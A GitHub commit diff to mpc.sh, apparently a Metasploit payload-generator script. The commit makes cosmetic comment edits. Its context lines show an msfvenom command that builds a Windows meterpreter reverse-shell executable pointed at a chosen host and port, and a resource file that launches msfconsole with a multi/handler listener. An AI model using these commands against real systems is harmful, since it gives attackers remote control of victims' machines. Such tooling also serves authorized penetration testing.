Skip to content

Commit 5f86777

Browse files
committed
MPC: Misc fix - easier to read comments
1 parent c3efff6 commit 5f86777

File tree

1 file changed

+3
-1
lines changed

1 file changed

+3
-1
lines changed

mpc.sh

+3-1
Original file line numberDiff line numberDiff line change
@@ -66,7 +66,9 @@ function doAction {
6666
#echo -e " ${YELLOW}[i]${RESET} SHA1: $(sha1sum ${FILENAME} | awk '{print $1}')"
6767

6868
cat <<EOF > "${FILEHANDLE}"
69+
#
6970
# RUN: service postgresql start; service metasploit start; msfconsole -q -r "${FILENAME}"
71+
#
7072
setg TimestampOutput true
7173
setg VERBOSE true
7274
use exploit/multi/handler
@@ -149,7 +151,7 @@ elif [[ "${TYPE}" == "windows" ]] || [[ "${TYPE}" == "win" ]] || [[ "${TYPE}" ==
149151
CMD="msfvenom --payload ${PAYLOAD} --format exe --platform ${TYPE} --arch x86 LHOST=${IP} LPORT=${PORT} -o ${outputPath}${TYPE}_meterpreter.${FILEEXT}"
150152
doAction "Windows" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}"
151153
elif [[ -z "${TYPE}" ]]; then
152-
echo -e "\n ${YELLOW}[i]${RESET} ${YELLOW}Missing type${RESET} "
154+
echo -e "\n ${YELLOW}[i]${RESET} ${YELLOW}Missing type${RESET}"
153155
else
154156
echo -e "\n ${YELLOW}[i]${RESET} Unknown type: ${YELLOW}${TYPE}${RESET}"
155157
fi

0 commit comments

Comments
 (0)